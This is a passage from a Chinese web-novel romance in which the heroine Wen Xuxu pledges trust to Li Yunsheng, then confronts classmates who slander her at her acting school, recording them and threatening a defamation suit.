他们的笑声刺耳而冰冷,像一根根细针扎进她的心脏。 那时的她,像一只被抛入寒潭的幼鸟,浑身颤抖着目睹世界的阴暗面。 少年时期的天真信仰在冷风中飘摇,如同风中残烛,坚持不住,快要倒塌。 她终于明白,这个社会并非如童话般美好,坏人并非寥寥无几,而是抬眼望去,遍地黑暗,连一丝光亮都难以寻觅,更照不亮她迷茫的未来。 那些经历如同淬火的烈焰,将她的天真烧成灰烬,又在废墟中重塑出一个全新的温栩栩。 她仿佛重生一般,从灰烬中站起,眼神变得锐利而清醒。 她学会了这世上任何人都是无法依靠的,能利用的就要尽情利用,所谓的真心不过是廉价的笑话,无人稀罕,利益才是永恒的通行证。 朋友、同学、师长、亲人、男友……每一个身份标签下都可能藏着虚伪的面具,她不再轻易交付信任,只相信自己的力量。 她告诉自己,要强大,要往上爬。只有爬到最顶端,那些人才会真正瞧得起你,才会给予你所谓的尊重。 这条荆棘之路,她走得孤独而决绝,将心裹进一层厚厚的茧,抵御着外界的寒风与恶意。 可当她的世界陷入最深的黑暗时,黎云笙却像一道突如其来的光,劈开了那扇盛满阴霾的窗。 他驱散了黑暗,让她看到了光,看到了未来。此刻,他低沉而笃定的那句“我们才是一条船上的人,我不会伤害你”,像一颗石子投入她沉寂的心湖,激起层层涟漪。 温栩栩的指尖不自觉地攥紧裙摆,指甲深深陷入掌心,疼痛却让她愈发清醒。 她深知自己不该相信男人,可黎云笙……是不是不一样? 他眼底那抹她曾见过的温度,是否真实? 她是不是该对他抱有一点点希望,哪怕只是微弱的萤火,也足以照亮她内心那片荒芜已久的角落? 她的思绪在信任与怀疑间激烈拉扯,如同两股狂风在内心撕扯。 一方面,理智如冰,不断提醒她别天真了,这世上没有谁值得托付真心,黎云笙或许只是另一个戴着面具的猎人。 可另一方面,情感如潮,黎云笙的出现确实在她最绝望的时刻伸出了手,他给予的庇护与承诺,让她冰封的心隐隐发烫。 她想起那些被他揽入怀中的瞬间,他胸膛传来的心跳声,仿佛与她自己的心跳渐渐同频……这让她感到一种久违的安心,却又害怕这安心不过是海市蜃楼,一触即碎。 温栩栩深吸一口气,努力平复内心的波澜。 她抬眼望向黎云笙,目光复杂而深邃,仿佛要穿透他表面的冷峻,看清他灵魂的本质。 她知道,自己此刻站在了命运的十字路口,一个微小的抉择,都可能改变未来的轨迹。 她问自己,是否要冒险撕开一道心茧的裂缝,让黎云笙的光照进来?哪怕这可能带来灼伤的风险?又或者,继续将心封闭,在孤独的黑暗中继续前行? 最终,她做出了决定。 她微微颤抖的嘴唇动了动,声音带着一丝不易察觉的决绝:“她要害你。” 她顿了顿,眼眸中泛起微光,仿佛下定了某种决心,“她说等你离开后会给我很多东西。”温栩栩的眼底微微发亮,那亮光像破晓时分的第一缕晨光,带着希冀与试探,“你信我,就像你说的,你不会伤害我,我也一定不会伤害你。” 她停顿片刻,声音愈发坚定,仿佛每一个字都是刻在心上的誓言,“只要你不伤害我,我就绝不会伤害你。这就是我的承诺。” 说出这句话的瞬间,温栩栩感觉心中某处一直紧绷的弦松动了。 她知道,这或许是她对这个世界、对黎云笙,投出的第一枚信任的筹码。 尽管这枚筹码包裹着层层防备,但它的确存在,像一颗微小的种子,在她荒芜的心田里悄然发芽。 她清楚,前路依旧布满荆棘,但此刻,她愿意为黎云笙的“不会伤害”,赌上自己的一点点希望。 窗外的光透过玻璃洒落,轻轻笼罩在两人身上。 黎云笙凝视着她,眼底的情绪翻涌,似有惊涛骇浪在无声地碰撞。 他其实早就知道温栩栩拒绝了黎老太太的拉拢,可真的听到温栩栩开口说了这个,眸光再度幽暗几分,仿佛深渊中涌动的暗流。 他生硬地低头瞥了眼桌上的文件,纸张边缘被他指尖无意识地揉出褶皱,声音低沉得像是被夜色浸透:“为什么想学表演?” 温栩栩的回答没有丝毫犹豫,直率得近乎刺眼:“想进娱乐圈,想赚很多钱。”她仰起头,眼神清澈得如同未染尘埃的湖水,话语坦荡得让人无从质疑。 进娱乐圈火了后的确能赚很多钱,这是她心底最真实的答案,没有遮掩,也没有撒谎。 在她眼中,金钱是通往一切的钥匙,是抵御黑暗的盾牌,是曾经破碎的童话世界里唯一可信的真理。 说这话时,温栩栩的眼睛弯成了月牙,颊边泛起可爱的小梨涡,如同初春枝头绽放的花苞。 第1182章 不允许她被欺负 她的笑容像小太阳般散发着阵阵微光,暖意仿佛能融化周遭的寒意,连空气都因她的笑意变得轻盈起来。 黎云笙的眸中多了几分深意,他凝视着她,仿佛在审视一件精心雕琢却又暗藏裂痕的艺术品。那笑容太过纯粹,与他认知中那个在黑暗中挣扎、裹着心茧的温栩栩似乎有些割裂。 他未曾察觉自己紧绷的下颌微微放松,嘴角几乎要扬起一丝弧度,却又被他强行压下,恢复成惯常的冷峻。 可温栩栩的笑意还未褪去,手机便急促响起。 她低头瞥了一眼来电显示,是学校好友的号码。 指尖在屏幕上轻点接通的瞬间,对方焦急的声音如潮水般涌来:“栩栩你快回学校!出大事了!教务处主任那边一定要说你有科学分没有修够,要给你算挂科留级,不许你去剧组拍戏!” 温栩栩的脸色骤然一变,方才的暖意瞬间冻结。 她攥紧手机,指甲深深掐进掌心,声音紧绷如绷紧的弦:“我要去趟学校,晚点谈其它的事。” 话音未落,她便匆匆转身离去。 黎云笙沉默地伫立在原地,望着她离去的背影。直至她纤细的身影消失在走廊尽头,他才缓步踱至落地窗前,居高临下地望着楼下。 温栩栩的身影在渐暗的天色中愈发渺小,最终融入车水马龙的街道,消失于他的视线。 他的手指无意识地摩挲着玻璃窗,指尖的温度在冰冷的表面留下短暂的水痕,仿佛他心底某种难以言喻的情绪正在悄然蔓延。 温栩栩。我能够给你一切你想要的,只要你……留在他身边。 黎云笙的眼底泛起晦暗的波澜,如同暴风雨前夕的海面。他深知她的野心与挣扎,也看透了她笑容背后深藏的伤痕。 辍学后凭打工赚到的钱考上帝城表演系学院,那所学院名声不佳,牛鬼蛇神横行,关系户盘踞如蛛网。她因长得太漂亮而被排挤,可她却像一株倔强的野草,在泥泞中挣扎着向上攀爬。 黎云笙的嘴角勾起一抹若有似无的冷笑,这冷笑中却混杂着一丝连他自己都未曾察觉的怜惜。 他想起她方才接电话时骤然煞白的脸色,那瞬间的脆弱像一把锋利的刀,轻轻划开了她精心伪装的外壳。 剧组拍戏的机会对她而言意味着什么?或许是命运的转折点,是金钱与未来的希望。而此刻,那希望正被无形的黑手扼住咽喉。 黎云笙眯起眼,眼底的冷意愈发浓重。 教务处主任的刁难……不过是权力游戏中的一颗棋子。 他清楚这背后或许有黎老太太的影子,那个老谋深算的女人,总爱用最阴险的手段试探与掌控。 对他来说,其实轻而易举的就能护住温栩栩。 温栩栩是他的人,他是不会允许她被人随便欺负的。 温栩栩在赶往学校的出租车上,手指紧紧攥着手机。 好友在电话里断断续续的哭诉仍在耳畔回响:“他们就是故意的!那个主任收了别人的好处,非要卡着你……剧组那边催得急,如果你被留级,角色肯定会被替换……” 她深吸一口气,强迫自己冷静下来。考上这所学院本就不易,那些打工攒下的钱,每一分都浸透了汗水与屈辱。她怎会允许别人轻易摧毁她的希望? 可即便如此,心还是乱了。 温栩栩踏进学院大门的那一刻,便仿佛踏入了一场精心编排的诋毁盛宴。 四周空气凝滞,无数道目光如毒针般刺向她,或明或暗,或探究或鄙夷。 她挺直脊背,目不斜视地前行,可那些目光却如附骨之疽,黏腻地缠绕着她每一步。 流言的藤蔓早已在校园的每个角落疯长,将她缠绕成众矢之的。 “那个是表演院系的温栩栩吗?我看着好像她!”尖细的声音从不远处传来,几个女生簇拥在一起,故作惊讶地指指点点。 温栩栩的脚步微不可察地一顿,指甲深深掐进掌心。她认得其中一人,是播音系某个关系户的跟班,曾因在宿舍争抢排练室与她发生过口角。 此刻那人嘴角噙着恶意的笑,声音拔高得足以让周围人听见:“自信点,打扮得那么风骚,长相一股子骚狐狸味儿的除了她还有谁?听说她现在攀上了《灵媒》剧组,和墨澜搭戏呢!”此言一出,人群顿时炸开了锅,嫉妒与不屑如毒虫般在窃窃私语中蠕动。 “亏得舞蹈专业的系草还追过她,她哪儿配!”一个染着黄发的男生嗤笑着,将手中的饮料罐重重砸进垃圾桶,金属碰撞声刺耳得令人心惊。 温栩栩攥紧书包带,指甲几乎要掐出血痕。 舞蹈系的系草……她当然记得,那个曾在她排练后递来热可可的男生,却被她在众目睽睽下礼貌拒绝。如今这桩往事竟成了攻击她的利器,仿佛她的拒绝是对他尊严的践踏。 “豁,舞蹈系的系草追过她?我听说播音系的男神系草也追过她呢!”另一个声音阴阳怪气地插进来,人群爆发出一阵哄笑。 温栩栩的太阳穴突突跳动,那些声音如潮水般涌来,将她淹没:“整个学校的系草院草哪个没瞧上过她?可人家都拒绝了,装什么清高!” “我听说她之前在酒吧当过驻唱啊,不知道跟多少男人胡乱混过了!”此言一出,人群顿时沸腾,污言秽语如污水般泼洒而来。 她加快脚步,却逃不开那些扎堆儿凑在一起的恶意。 几个男生倚在篮球架旁,斜睨着她经过的方向,音量足以让她听得一清二楚:“不跟男神们恋爱约会,偏要跟酒吧里的混混们乱搞,真当自己是当代梦萍了?” 有人故作不解:“梦萍是谁?” 另一人嗤笑:“《情深深雨蒙蒙》没看过?要不你百度一下?她可比梦萍浪多了!”哄笑声震耳欲聋,温栩栩攥紧的拳头微微颤抖。那些她曾为生计在酒吧驻唱的夜晚,那些被醉汉纠缠却咬牙坚持的时刻,此刻竟成了他们口中不堪的罪证。 她低头疾走,可仍有胆大的女生拦住去路,故作惊讶地打量她:“哟,这不是‘女神’温栩栩吗?剧组拍戏还顺利吗?”话音未落,那人便凑近她耳语,热气喷在脖颈上令人作呕:“别以为傍上墨澜就能飞上枝头,教务处主任那边可等着收拾你呢。” 第1183章 颠倒黑白 温栩栩猛地抬头,正对上对方挑衅的眼神。 那人得意地后退两步,与同伴们交换了一个胜利的微笑,仿佛已将她踩在脚下。 流言的毒藤在风中摇曳,将她曾经的每一个选择都扭曲成不堪的罪状。 有人嘲讽她拒绝系草是故作姿态,有人污蔑她与剧组人员有不正当关系,更有人将她在酒吧驻唱的经历渲染成放荡的过往。 温栩栩穿过教学楼长廊,墙壁上不知被谁贴满了匿名小字报,歪歪扭扭的字迹刺目得令人窒息, “温栩栩滚出演艺圈!” “虚伪绿茶婊!” “靠着身体上位!”她深吸一口气,指甲深深掐进掌心,疼痛却让她愈发清醒。 这并非第一次,也不会是最后一次。 她想起初入学院时,也曾怀揣着对表演纯粹的热爱。可牛鬼蛇神的关系户、暗箱操作的资源分配、因美貌而招致的排挤,早已将这片净土染成浑浊的泥潭。 她曾以为凭借努力便能闯出一片天,却发现自己始终在与无形的枷锁抗争。 而今,《灵媒》的机会是曙光,却也成了点燃妒火的导火索。那些无法企及她位置的人,便用最卑劣的手段将她拖入泥潭,仿佛这样便能消解自己的无能。 温栩栩抬头望向阴沉的天空,乌云低低压着校园,与人群中的恶意相映成趣。 温栩栩深吸一口气,胸腔里翻涌的怒火几乎要将她灼烧。她死死攥紧手机,指尖因用力而泛白,录音键早已悄然开启。 忍,再忍,现在最要紧的是不能挂科,必须保住《灵媒》的拍摄机会——那是黎云笙投资的剧,是与墨澜合作的宝贵契机。 绝不能因这些垃圾而让一切付诸东流。 她不断在心底默念,可那些污言秽语却如毒蛇般钻进耳膜,啃噬着她的理智。 “温栩栩身材好成那样可能就是跟男人睡出来的。” “那一个可不够,怎么也要百八十个。” “咦……没见过这么脏的女人!” “没办法,那些男人不就喜欢这种浪的?毕竟良家女孩谁陪他们玩?” “这种女人在外玩玩就是了,可没有男人娶回家。” “这么脏谁肯要啊!” 温栩栩的瞳孔骤然收缩,眼底的凉意如寒潭般蔓延,仿佛有冰晶在眸底凝结。她终于忍无可忍,猛地抬头,将手机揣进口袋,双手抱肩立于那几人面前。 她的脊背挺得笔直,眉眼上挑,唇角勾起一抹冷冽的嘲讽,整个人如高岭之花般美艳不可攀,却又似裹着寒霜,令人不敢逼视。 那几人先是一愣,方才的嚣张气焰仿佛被一盆冷水浇灭,怔怔地愣在原地。 “我说,你们怎么满嘴喷粪,方圆十里都能闻到你们口臭的‘芬芳’?” 温栩栩的声音如淬了冰的刀刃,字字锋利,掷地有声。 她目光扫过几人,眼底的凉意愈发刺骨,仿佛能将人冻结。 那几人先是一怒,张口就想骂“贱人”,可温栩栩的下一句话却让他们瞬间傻眼:“是出门没刷牙?还是真跟大自然负重冠军抢了食物?” 几人面面相觑,脸上写满困惑与尴尬,交头接耳地小声议论。 “大自然负重冠军是谁?” “啊?不是人吗?” 温栩栩的唇角讥讽愈发明显,她抱肩而立,姿态慵懒却气场全开,声音冷得仿佛能掉下冰碴:“有这时间嚼舌根,怎么就没时间多读点书?大自然的负重冠军是屎壳郎,你们觉得它的食物是什么?还需要我解释给你们听?” 此言一出,空气仿佛凝固了片刻。 那几人的脸色骤然煞白,羞愤与尴尬如潮水般涌上脸庞,恨不得找个地缝钻进去。 周围围观的学生们先是一愣,随即爆发出一阵哄笑,有人甚至吹起了口哨。 羞愤与尴尬如潮水般涌上那几人的脸庞,他们恨不得找个地缝钻进去。 为首的女生恼羞成怒,涨红了脸尖叫:“你……你骂我们是屎壳郎?你才是贱人!不要脸!” 温栩栩的眼底寒意更甚,她冷笑一声,步步逼近,高跟鞋敲击地面的声音如战鼓般铿锵:“贱人?不要脸?你们以恶意揣测他人,用污言秽语中伤,颠倒黑白,这才是真正的‘不要脸’吧?若我真是靠男人上位,你们这般嫉妒,又算什么呢?” 她逼近一步,那几人便后退一步,仿佛被她的气势所震慑。 温栩栩的目光如利刃般扫过众人,声音冷冽如冰:“你们口口声声说我‘脏’,可真正脏的,是你们那颗见不得人好的心。自己没能力争取机会,便用最下作的手段拖人下水,这才是真正的可悲!” 围观的人群中响起一阵窃窃私语,有人点头附和,有人掏出手机拍摄。 那几人愈发慌乱,其中一人色厉内荏地吼道:“你少狡辩!谁不知道你在酒吧当过驻唱,跟男人不清不楚的!”温栩栩的眸中闪过一丝凛然,她挺直脊背,声音清晰如刃:“在酒吧驻唱,靠的是自己的歌声赚钱,光明正大。总比某些人躲在阴暗处,用嘴当武器,满口污秽要强得多!至于‘不清不楚’……呵,你们亲眼所见?还是只凭一张嘴,就能将白的说成黑的?” 她的目光扫过众人,如寒冰扫过腐叶,众人皆噤若寒蝉。 她冷笑一声,继续掷地有声:“你们这样,像阴沟里的老鼠,只会躲在暗处,用最下作的手段诋毁他人的又算是什么东西?” 人群中的窃窃私语愈发响亮,有人甚至鼓起掌来。 那几人羞愤得几乎要哭出来,却再也不敢还嘴。温栩栩深吸一口气,压下胸中的余怒,目光如刀锋般扫过众人:“记住,嘴巴长在自己身上,但说出去的话,泼出去的水,总有一天会反噬到自己身上。与其浪费时间嚼舌根,不如多花点心思提升自己,毕竟,靠诋毁他人得来的优越感,一文不值。” “继续说这些,只会让我更觉得你们就是大自然的负重冠军。” 几人被温栩栩的讥讽激得满脸通红,仿佛被泼了滚烫的开水。 第1184章 随意诋毁 王双双作为这群人的领头羊,此刻更是怒不可遏,胸中仿佛有烈焰翻腾,恨不得原地爆炸。 她咬牙切齿地吼出声:“你说什么!”声音尖锐得几乎要刺破耳膜,手指颤抖着指向温栩栩,指尖因用力而泛白。 温栩栩却冷笑一声,眼底的寒意愈发凝结,仿佛千年不化的冰川,此刻竟然有点黎云笙那种不近人情的冰冷感觉。 她双手抱胸,姿态慵懒却透着不容侵犯的冷傲,唇角勾起一抹明显的嘲讽弧度:“我觉得老弱病残的听力也不该差成这样,你是残废还是聋了?”语气轻飘飘的,却字字如刀,精准刺入对方的痛处。王双双被这羞辱激得浑身发抖,额角青筋暴起,仿佛一只被激怒的困兽。 “温栩栩!”王双双嘶吼着,声音已经扭曲变形,带着破釜沉舟的疯狂。 “在呢,有话说话,没话说我要算账了。”温栩栩漫不经心地理了理耳边的碎发,加深了唇角的笑意,目光却如寒冰般扫过众人,仿佛在看一群跳梁的白痴。那笑容在阳光下显得格外刺眼,仿佛带着毒液的玫瑰,美艳却致命。 “你算账?你算什么帐!”王双双的声音已经濒临失控,唾沫星子飞溅,仿佛要将所有愤怒都化作利箭射向温栩栩。 “你自己跟系草恋爱期间劈腿跟别人乱搞还不能让人说了!”她嘶吼着,仿佛抓住了温栩栩的致命把柄,眼中闪烁着扭曲的快意。 温栩栩的眸中闪过一丝凛然,笑意却丝毫未减。 她缓缓踱步上前,高跟鞋敲击地面的声音清脆如战鼓,每一步都带着压迫感。 逼近王双双时,她停下,微微仰头,目光居高临下,眼底的冷意如冰锥般刺入对方瞳孔:“哦,撒谎精这么跟你说的?谁告诉你我跟系草谈过恋爱了?”尾音微微上扬,带着戏谑的质问,仿佛将对方的谎言暴露在阳光下。 王双双被这质问噎住,呼吸一滞,脸上闪过一丝慌乱。 但很快,她像是抓住了救命稻草般尖叫:“都有你在酒吧跟男人纠缠的照片这你怎么解释!” 温栩栩的唇角讥讽愈发明显,她嗤笑一声,声音清脆如玉石相击:“怎么,按照我的颜值,我去一趟酒吧被人追求纠缠难道不该是常事?总不能因为我长得漂亮,就默认我是‘脏’的吧?” 她突然逼近一步,目光如刀锋般扫过众人,声音冷冽如冰:“还是说,你们觉得,长得漂亮的女人,就活该被你们用最下作的想象去污名化?” 围观的人群中响起一阵窃窃私语,有人点头附和,有人甚至低声嘲笑王双双的无理取闹。 王双双的脸涨成了猪肝色,羞愤与尴尬如潮水般涌上脸庞,她恼羞成怒地尖叫:“你少狡辩!谁不知道你在酒吧当过驻唱,跟男人不清不楚的!” 温栩栩的眸中闪过一丝凛然,她挺直脊背,声音清晰如刃:“在酒吧驻唱,靠的是自己的歌声赚钱,光明正大。总比某些人躲在阴暗处,用嘴当武器,满口污秽要强得多!” 她突然掏出手机,在众人面前晃了晃,声音陡然变得冷硬如铁:“至于‘不清不楚’……呵,你们亲眼所见?还是只凭一张嘴,就能将白的说成黑的?很好,刚才你们说的那些话我全部都录音了。” 王双双闻言脸色骤变,瞳孔猛地收缩,仿佛被掐住喉咙的鸭子。 她踉跄后退一步,声音带着颤抖的惊恐:“什么?你录音了?” 温栩栩的眼底寒意更甚,她歪了歪头,用一副无害的表情看着几人,声音却如淬毒的冰箭:“你们说我睡男人,脏,说我劈腿这类的话全都被我录音。现在请你们拿出我做这些事的证据,否则……”她拉长语调,加重语气,笑意却愈发灿烂,仿佛恶魔的低语:“我会告你们毁谤哦。” 围观的人群中爆发出一阵惊呼,有人甚至掏出手机拍摄。 王双双的指甲深深掐进掌心,脸上青红交错,仿佛被当众剥光了衣服。 她色厉内荏地吼道:“温栩栩你还要不要脸!你自己不知廉耻劈腿跟别的男人乱来凭什么不让人说!” 温栩栩的眉梢微挑,眼底的嘲讽如潮水般涌出,她步步逼近,将手机举到王双双面前,屏幕上的录音图标清晰可见:“怕别人说你就别做这么无耻的事!”她模仿着王双双刚才的语调,声音却冷得掉冰碴:“那么请问,你们亲眼看到我在酒吧跟别的男人乱搞了?有视频?有监控?还是有人证?若没有……” 她突然逼近,几乎要贴上王双双的鼻尖,声音压低,却字字如刀:“就凭你们那张臭嘴,也配定我的罪?” 王双双被这压迫感逼得连连后退,后背撞上身后的树干,发出闷响。 她双目赤红,面目狰狞,仿佛一头被逼入绝境的野兽:“你……你狡辩!照片就是证据!你跟男人搂搂抱抱的照片我们都看到了!” 温栩栩的唇角勾起一抹玩味的笑,她后退两步,双手抱胸,姿态慵懒却透着十足的掌控感:“照片?呵,一张照片能说明什么?角度?光影?还是你们恶意剪辑?” 她突然提高音量,目光扫过全场,声音如寒冰扫过腐叶:“若仅凭一张照片就能定罪,那你们每天在网络上看到的那些‘艳照门’,有几个是真的?你们凭什么用一张模糊的照片,就摧毁一个女孩的名誉?凭你们自以为是的‘正义感’?还是凭你们那颗见不得人好的心?” 人群中的窃窃私语愈发响亮,有人甚至鼓起掌来。 王双双羞愤得几乎要哭出来,她猛地扑向温栩栩,却被旁边的女生死死拉住。 她挣扎着,嘶吼着:“温栩栩你无耻!你就是在狡辩!你就是个贱人!” 温栩栩的眼底寒意骤深,她冷笑一声,声音冷冽如冰:“贱人?你凭什么定义我?凭你满口污秽?凭你无中生有?还是凭你连证据都没有就敢随意诋毁他人?” 她突然掏出手机,点开录音播放键,那些污言秽语如毒蛇般从扬声器里钻出,回荡在空气中。 王双双等人的脸色瞬间煞白,仿佛被抽干了所有血色。 第1185章 这场官司根本不足为惧 “刑法第246条,故意捏造并散布虚构的事实,足以贬损他人人格,破坏他人名誉,情节严重的行为是诽谤。”温栩栩的声音清晰如刃,一字一句地念着法律条文,目光如寒冰般扫过众人:“凡达到刑事责任年龄,具有刑事责任能力的自然人均能构成犯罪。你们几个……想进去待一段时间吗……” 她面带微笑的歪了歪头,用一副无害的表情看着几人,声音却如毒蛇吐信:“进去后这案底可是洗不掉的呢。以后找工作、考公务员……呵,这辈子都别想翻身了。” 最软的语气说出最狠的话,温栩栩的笑容在阳光下显得格外刺眼。 王双双等人彻底慌了,她们面面相觑,脸上写满了惊恐与懊悔。 有人甚至小声抽泣起来,肩膀颤抖着,仿佛被击溃了所有防线。 “你……你威胁我们!”王双双的声音已经带着哭腔,她颤抖着指着温栩栩,手指几乎要戳到对方脸上。 温栩栩的眉梢微挑,眼底的嘲讽如潮水般涌出:“威胁?我只是在陈述事实。你们用污言秽语攻击我时,可想过后果?现在怕了?” 王双双羞愤得几乎要哭出来,却再也不敢还嘴。 她死死咬住下唇,鲜血从唇角渗出,眼神却如淬了毒的匕首,恨不得将温栩栩千刀万剐。 说起来,按照我的颜值,我去一趟酒吧被人追求纠缠难道不该是常事?”温栩栩的声音轻飘飘的,尾音却似裹着冰碴,指尖漫不经心地点着手机屏幕,余光扫过王双双几人,眼底的冷意如寒潭般蔓延。 她忽而轻笑一声,眉眼弯弯,语气却如淬毒的利刃:“以为我像你们没人追没人撩没人喜欢,一辈子当单身狗?”话音未落,围观人群中已有人忍俊不禁,低低的嗤笑如针尖刺入王双双的耳膜。 她猛地抬头,目光如寒冰扫过众人,唇角勾起一抹明显的嘲讽弧度,仿佛高岭之花般美艳不可攀,却又似裹着寒霜,令人不敢逼视。 说话就说话怎么还开嘲讽了! 温栩栩就不该长那么张嘴! 可温栩栩嘴毒还真喜欢怼人,最喜欢怼的就是这种自以为是、自诩维护正义,实际每天抱着键盘没脑子的蠢货。 她抱肩而立,姿态慵懒却气场全开,目光如刀锋般扫过那几人,声音冷冽如冰:“以你的说法,我被几个男人纠缠就是我跟男人乱来,那现在我被你们几个纠缠……” 她突然捂嘴轻笑,笑声清脆如玉石相击,却带着刺骨的寒意,仿佛听到了什么惊天大秘闻般缓缓继续:“那现在我被你们几个纠缠,难道你们几个也想跟我乱来?” 王双双闻言瞳孔骤缩,脸上血色瞬间褪尽,仿佛被掐住喉咙的鸭子,喉间挤出两声破碎的声音。 另几个女生也僵在原地,表情空白如被雷劈中,面面相觑,脸上写满了震惊与羞愤。 温栩栩的唇角讥讽愈发明显,她忽而逼近一步,目光如冰锥般刺入对方瞳孔:“虽然我觉得同性之间也不错,不过……” 她突然顿住,上下打量着几人,眼底的轻蔑如潮水般涌出,声音轻得仿佛耳语,却字字如刀:“你们长得太丑,配不上我的颜。” 她歪了歪头,用一副无害的表情看着几人,声音却如毒蛇吐信:“想跟我乱来前也要照照镜子,看看自己配不配哦,小姐姐们——我们不约呢。” 再一次用单纯无害软萌的语气说出“尖酸刻薄”的话,温栩栩的眼底寒意更甚,仿佛有冰晶在眸底凝结。 围观的人群中爆发出一阵哄笑,有人甚至吹起了口哨,羞愤与尴尬如潮水般涌上那几人的脸庞。 王双双气得浑身发抖,胸中仿佛有烈焰翻腾,恨不得原地爆炸。 她涨红了脸,嘶吼出声:“谁要跟你乱来了!”声音尖锐得几乎要刺破耳膜,手指颤抖着指向温栩栩,指尖因用力而泛白。 温栩栩却冷笑一声,步步逼近,高跟鞋敲击地面的声音如战鼓般铿锵:“你们在这里纠缠不就是想跟我乱来?” 她逼近王双双,几乎要贴上对方的鼻尖,声音压低,却字字如刀:“若真不想,又何必追着我不放?还是说,你们所谓的‘正义’,不过是见不得人好,用最下作的想象去污名化一个女孩?”她突然挺直脊背,目光扫过全场,声音清晰如刃:“若我真是靠男人上位,你们这般嫉妒,又算什么呢?自己没能力争取机会,便用嘴当武器,满口污秽,这才是真正的可悲!” 王双双双目赤红,面目狰狞:“温栩栩,我还真没见过像你这样无耻的人!”嘶吼声已经扭曲变形,带着破釜沉舟的疯狂。 王双双还想再骂,却被身边的小姐妹死死拽住衣袖。 她正骂到兴头,满脸不耐地甩开对方的手:“拽我干什么!有事说事!” 那小姐妹声音带了哭腔,显然已被吓破了胆:“双双,如果温栩栩真的要告我们,我们可能真的会被抓进去的……” 她颤颤巍巍地补充道:“上面说要关三年。”说完,还不忘偷偷瞟了温栩栩一眼,眼神里满是求饶的恐惧。 王双双一把夺过手机,飞速浏览着刑法条文,铁青的脸色逐渐凝结成霜。不过片刻,她仿佛又恢复了底气,冷笑一声:“呵,她能请谁帮她辩护?她就是个孤儿院出身的,能请什么厉害律师?只要我们家族施压,没人敢接温栩栩的案子!” 她出身优越,家族在本地颇有势力,正因如此,她才敢这般嚣张跋扈。 在她看来,用家族势力施压后,那些顶尖律师必然避之不及,温栩栩最终只能请些三流货色,这场官司根本不足为惧。 她甚至已经开始幻想温栩栩在法庭上孤立无援的模样,嘴角不自觉地扬起一抹轻蔑的弧度。 然而,下一秒,温栩栩的冷笑声如冰刃般刺破她的幻想:“你觉得我这张脸不配帝城权贵做我的靠山吗?” 这句话如一道惊雷劈下,王双双浑身猛地一震,一股冷意自脚底直窜天灵盖。她瞳孔骤缩,喉咙仿佛被无形的手扼住,连呼吸都停滞了。 第1186章 什么叫‘只手遮天\’ 温栩栩这种人,无论站在何处都是最耀眼的存在。 她的长相、身材、气质无一不是万里挑一,不,亿里挑一。 白皙如玉的肌肤在阳光下泛着冷瓷般的光泽,眉眼如画,眼角微微上挑,自带一股摄人心魄的凌厉;高挑的身姿如天鹅般优雅,每一步都散发着不容侵犯的气场。 这样极致的美貌,怎会不令帝城那些手眼通天的权贵继承人动心?哪怕只是圈养个听话漂亮的“宠物”,他们也绝不会允许自己的人被如此欺辱。 王双双的脑中轰然作响,那些自信的臆想瞬间崩塌成碎片。 她张了张嘴,却发不出丝毫声音,喉间仿佛被塞满了滚烫的砂砾,嘶哑难言。 温栩栩步步逼近,高跟鞋敲击地面的声音如战鼓般敲击着王双双的心跳。 她居高临下地看着王双双,眼底的嘲讽如寒冰凝结:“怎么?王大小姐,刚才的气势去哪儿了?”她突然俯身,温热的气息喷在王双双耳畔,声音却冷得刺骨:“是不是以为,凭你家的那点权势,就能只手遮天了?” 王双双的后背瞬间沁出一层冷汗,她踉跄后退半步,却被温栩栩的目光钉在原地,动弹不得。 围观的人群中响起一阵窃窃私语,有人甚至低声议论起帝城的权贵圈子。 温栩栩的嘴角勾起一抹玩味的笑,她直起身,目光扫过其余几个早已面色惨白的女生:“你们几个,刚才骂得也挺欢的,是吧?” 那几个女生吓得连连摇头,其中一个甚至腿软跪倒在地,泣不成声:“温,温学姐,我们错了,我们再也不敢了……”温栩栩的眉梢微挑,眼底的轻蔑如潮水般涌出:“现在知道错了?刚才污蔑我的时候,怎么不见你们这么害怕?”她突然提高音量,声音如利剑刺穿空气:“诽谤罪,三年以下有期徒刑、拘役、管制或者剥夺政治权利,你们,都想尝尝蹲大牢的滋味?” 王双双的面色由青转白,再由白转红,仿佛调色盘般精彩。 她死死攥紧拳头,指甲深深掐进掌心,试图找回一丝尊严:“温栩栩,你别太得意!就算你有靠山,我们王家也不是好惹的!”温栩栩的唇角讥讽愈发明显,她嗤笑一声,声音清脆如玉石相击:“王家?呵,在帝城权贵眼里,不过是个地方上的小虾米罢了。” 她突然掏出手机,在众人面前晃了晃,屏幕上的通讯录赫然显示着几个令人胆寒的名字:“需要我现在打个电话,让帝城的几位少爷过来‘评评理’吗?还是说,你们更想直接见识见识,什么叫‘只手遮天’?” 王双双的瞳孔猛地收缩,她仿佛被抽干了所有力气,双腿一软,险些瘫倒在地。 她这才真正意识到,自己招惹的根本不是个孤儿院出身的可怜虫,而是一朵带刺的荆棘玫瑰,背后盘踞着足以碾碎她整个家族的庞然大物。 她颤抖着嘴唇,喉间终于挤出了一句破碎的“对不起”,却如蚊蝇般微弱,淹没在围观人群的哄笑声中。 温栩栩的眼底寒意未褪,她冷冷地看着王双双,声音如寒冰扫过腐叶:“道歉?如果只是嘴上说说,未免太便宜你们了。”她突然转身,面向围观众人,声音清晰如刃:“诽谤罪的证据我已经全部收集,若你们几位不想在法庭上‘出名’,最好现在就拿出诚意。”她指了指手机,屏幕上的录音文件闪烁着冷光:“否则,明天帝城的头条,可能会很有意思。” 王双双等人的脸色瞬间煞白如纸。她们这才明白,温栩栩的威胁绝非虚张声势。 她的冷静、她的底气、她背后的权势,早已将这场闹剧推向了她们无法承受的深渊。 几个女生哭作一团,纷纷跪地求饶,连滚带爬地想要抓住温栩栩的裙摆。 温栩栩却厌恶地后退两步,裙摆扫过地面,扬起一阵清冷的风:“滚远点,别脏了我的鞋。” 她抬头望向天空,嘴角勾起一抹冷笑,眼底的冷意如寒潭般深邃。 阳光刺破云层,洒下一片金光,她的背影在光晕中愈发挺拔,仿佛一株荆棘中的玫瑰,即便满身是刺,也要昂首向阳。 王双双瘫坐在地,喉间涌上一股浓烈的悔意,她终于明白,有些锋芒,不是她能触碰的。 手机又开始不停地响起来,尖锐的铃声在寂静的空气中刺耳地回荡。温栩栩心里猛地一慌,指尖微微发抖,低头一看,果然是好友的来电。 她深吸一口气,按下接听键,声音里带着一丝不易察觉的紧绷:“喂?” “栩栩,你干什么呢!”好友的声音从电话那头传来,带着焦急和不解。 